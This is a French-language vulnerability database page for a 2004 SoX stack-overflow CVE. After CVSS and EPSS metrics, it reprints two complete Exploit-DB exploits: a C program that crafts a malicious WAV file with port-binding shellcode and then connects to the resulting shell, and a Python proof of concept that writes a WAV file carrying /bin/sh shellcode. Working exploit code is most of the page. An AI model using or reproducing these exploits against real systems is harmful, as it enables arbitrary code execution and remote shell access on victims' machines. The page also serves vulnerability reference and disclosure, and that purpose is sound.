Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 374
Date de publication : 2004-08-03 22h00 +00:00
Auteur : Rave
EDB Vérifié : Yes
//--------------------------------- Begin Code: sox-exploiter.c ---------------------------------
/*
Copyright Rosiello Security 2004
http://www.rosiello.org
CVE Reference: CAN-2004-0557
Bug Type: Stack Overflow
Date: 01/08/2004
Ulf Harnhammar reported that there are two buffer overflows in the 'sox' and 'play' commands.
The flaws reside in the st_wavstartread() function in 'wav.c', where the function reads data
based on a user-supplied size variable into a buffer without checking to see if the specified
amount of data will fit into the buffer.
The report indicates that older versions, including 12.17.1, 12.17 and 12.16, are not affected.
Vendors were reportedly notified on July 18, 2004.
Impact: A remote user can create a WAV file that, when processed by the target user, will execute
arbitrary code on the target system with the privileges of the SoX process.
Solution: No vendor solution was available at the time of this entry.
**************************************************************************************************
!!! DO NOT USE THIS SOFTWARE TO BREAK THE LAW !!!
This exploit will create a malevolent .wav file that will execute the shellcode (it's a
port_bind() opening the port 5074)
Example:
$./sox-exploiter laser.wav malevolent.wav 0
When you play the file malevolent.wav the shellcode is executed.
AUTHOR: rave -->
[email protected]
AUTHOR: Angelo Rosiello -->
[email protected]
WEB : http://www.rosiello.org
*/
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
/* used for stating */
#include <sys/types.h>
#include <sys/stat.h>
/* used for mmap */
#include <sys/mman.h>
/* perror() */
#include <errno.h>
/* strstr */
#include <string.h>
enum { suse, redhat, slackware };
struct tr
{
char *OS;
unsigned long ret;
} target [] = {
"SuSe 9.1 Pro",
0xbfffe9f0,
"Redhat 9.1",
0x41414141
};
signed char
shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/*
*
[email protected]
* x86 portbind a shell in port 5074
* 92 bytes.
*/
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x40" // incl %eax
"\x89\xc3" // movl %eax,%ebx
"\x50" // pushl %eax
"\x40" // incl %eax
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x66\x68\x13\xd2" // pushw $0xd213
"\x43" // incl %ebx
"\x66\x53" // pushw %bx
"\x89\xe1" // movl %esp,%ecx
"\x6a\x10" // pushl $0x10
"\x51" // pushl %ecx
"\x50" // pushl %eax
"\x89\xe1" // movl %esp,%ecx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x40" // incl %eax
"\x89\x44\x24\x04" // movl %eax,0x4(%esp,1)
"\x43" // incl %ebx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x83\xc4\x0c" // addl $0xc,%esp
"\x52" // pushl %edx
"\x52" // pushl %edx
"\x43" // incl %ebx
"\xb0\x66" // movb $0x66,%al
"\xcd\x80" // int $0x80
"\x93" // xchgl %eax,%ebx
"\x89\xd1" // movl %edx,%ecx
"\xb0\x3f" // movb $0x3f,%al
"\xcd\x80" // int $0x80
"\x41" // incl %ecx
"\x80\xf9\x03" // cmpb $0x3,%cl
"\x75\xf6" // jnz <shellcode+0x40>
"\x52" // pushl %edx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
signed long shelladdr =0xbfffe9f0;//0xbfffe9d8;//0xbffff3ea;
char *memap;
char *fs_io(char *filename, char *data, mode_t flags, long *size)
{
struct stat status;
int fd;
if ( data == NULL) {
if ( lstat (filename,&status) < 0)
{
printf("Input File not found\n");
exit(-1);
}
if ((fd=open ( filename , flags,0666)) == -1) {
perror("open");
exit (-1);
}
memap=mmap(0,status.st_size,PROT_READ|PROT_WRITE,MAP_PRIVATE,fd,0);
if ( memap == NULL)
{printf("allocation problem\n"); exit (-1);}
(*(long *)size) = status.st_size;
return (char *)memap;
}
}
int connect_to( char *addr)
{
struct sockaddr_in sin4;
int sock;
char in [512];
char out [512];
char banner[512];
size_t size;
sin4.sin_family = AF_INET;
sin4.sin_addr.s_addr = inet_addr(addr);
sin4.sin_port = htons(5074);
sock=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (!sock)
{
return -1;
}
if (connect (sock,(struct sockaddr *)&sin4,sizeof(struct sockaddr_in)) ==-1)
{
return -1;
}
printf("[+] Exploit success\n");
size=sprintf(banner,"%s","uname -a;\n");
write ( sock, banner, size );
while ( 1 )
{
size=read (sock,in,sizeof(in));
in[size] = '\0';
printf("%s\n",in);
scanf("%s",&out);
strcat(out,"\n");
write (sock, out,strlen(out));
memset(in,'\0',sizeof(in));
memset(out,'\0',sizeof(out));
}
}
void usage(char *file)
{
int i;
printf("USAGE:\n");
printf("SoX Exploiter by Rosiello Security\n");
printf("%s source.wav vulnerable.wav target\n", file);
for (i=0;i < 2;i++)
printf("TARGET: %d %s %x\n",i,target[i].OS,target[i].ret);
exit(0);
}
int main(int argc, char **argv)
{
char *ptr,*tmp;
int fd,count;
long sizefield,sizeloc;
int size;
char payload[500];
pid_t pid;
int opt;
if ((argc) != 4)
usage(argv[0]);
opt=atoi(argv[3]);
memap = fs_io(argv[1],NULL,O_RDWR,&size);
printf("[+] Sox Exploiter by Rosiello Security\n");
printf("[+] Opened %s size : %d\n",argv[1],size);
ptr = memap;
count =0;
do
{
ptr++;
if ((strncmp("INFOICRD",ptr,8)==0)) break;
} while ( (count ++ !=size) );
tmp = (char *)malloc ( size + 512);
tmp = memap;
ptr +=8;
sizefield = (long) ptr[0];
sizeloc = (long) (count + 8)+1;
tmp[sizeloc]=01;
tmp[sizeloc+1]=02;
if ((fd=open ( argv[2] , O_WRONLY | O_CREAT | O_TRUNC,0666)) == -1) {
perror("open");
return -1;
}
sizeloc +=2;
write(fd,tmp,sizeloc);
memset(payload,0x2e,318);
size=sprintf(payload+318,"%s%s",((char *)&target[opt].ret),shellcode);
write (fd,payload,sizeof(payload));
close(fd);
size = 0x0102 - size;
printf("[+] Coded by rave & Angelo Rosiello\n");
printf("[+] Writing evil code into %s\n", argv[2]);
printf("[+] Org sizefield = %d new sizefield = %d\n",sizefield,0x0102);
printf("[+] Overflowing the buffer with %d Bytes\n",size);
printf("[+] Executing /usr/bin/sox\n");
printf("[+] Connecting to localhost\n");
pid = fork();
if (pid ==0) {
execl("/usr/bin/sox","sox",argv[2],"-t","ossdsp","/dev/dsp" ,NULL);
};
sleep(1);
if ((connect_to("127.0.0.1")) <0)
printf("[-] Exploit failed\n");
return EXIT_SUCCESS;
}
//---------------------------------- End Code: sox-exploiter.c ----------------------------------
// milw0rm.com [2004-08-04]
Exploit Database EDB-ID : 369
Date de publication : 2004-07-31 22h00 +00:00
Auteur : Serkan Akpolat
EDB Vérifié : Yes
# POC Exploit for SoX Stack Overflow Vulnerability found by Ulf Harnhammar
# Tested Under Slackware 9.1
# Serkan Akpolat
[email protected] |
[email protected]
# Homepage: http://deicide.siyahsapka.org
# Greets to: Virulent
# deicide@gate:~$ play britney.wav
# sh-2.05b$
# "jmp %esp" from libc.so , change this if needed..
retJmpEsp=0x4029824B
# intel_order() from MOSDEF
def intel_order(myint):
str=""
a=chr(myint % 256)
myint=myint >> 8
b=chr(myint % 256)
myint=myint >> 8
c=chr(myint % 256)
myint=myint >> 8
d=chr(myint % 256)
str+="%c%c%c%c" % (a,b,c,d)
return str
# Wave Header
begin = "\x52\x49\x46\x46\x74\x05\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20" +\
"\x32\x00\x00\x00\x02\x00\x01\x00\x70\x17\x00\x00\x00\x0c\x00\x00" +\
"\x00\x01\x04\x00\x20\x00\xf4\x01\x07\x00\x00\x01\x00\x00\x00\x02" +\
"\x00\xff\x00\x00\x00\x00\xc0\x00\x40\x00\xf0\x00\x00\x00\xcc\x01" +\
"\x30\xff\x88\x01\x18\xff\x66\x61\x63\x74\x04\x00\x00\x00\x00\x00" +\
"\x00\x00\x64\x61\x74\x61\x00\x00\x00\x00\x4c\x49\x53\x54\x9a\x01" +\
"\x00\x00\x49\x4e\x46\x4f\x49\x41\x52\x54\x08\x00\x00\x00\x44\x65" +\
"\x69\x63\x69\x64\x65\x00\x49\x43\x52\x44\x7e\x01\x00\x00"
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
evilBuf = begin+"boom"*75+intel_order(retJmpEsp)+shellcode
wavFile = open("britney.wav", "wb")
wavFile.write(evilBuf)
wavFile.close()
print "Evil Song has been created :Pp"
# milw0rm.com [2004-08-01]
Products Mentioned
Configuraton 0
Sox>>Sox >> Version 12.17.2
Sox>>Sox >> Version 12.17.3
Sox>>Sox >> Version 12.17.4
Conectiva>>Linux >> Version 8.0
Conectiva>>Linux >> Version 9.0
Conectiva>>Linux >> Version 10.0
Configuraton 0
Gentoo>>Linux >> Version 1.4
Redhat>>Enterprise_linux >> Version 3.0
Redhat>>Enterprise_linux >> Version 3.0
Redhat>>Enterprise_linux >> Version 3.0
Redhat>>Enterprise_linux_desktop >> Version 3.0
Redhat>>Fedora_core >> Version core_1.0
Redhat>>Fedora_core >> Version core_2.0
Références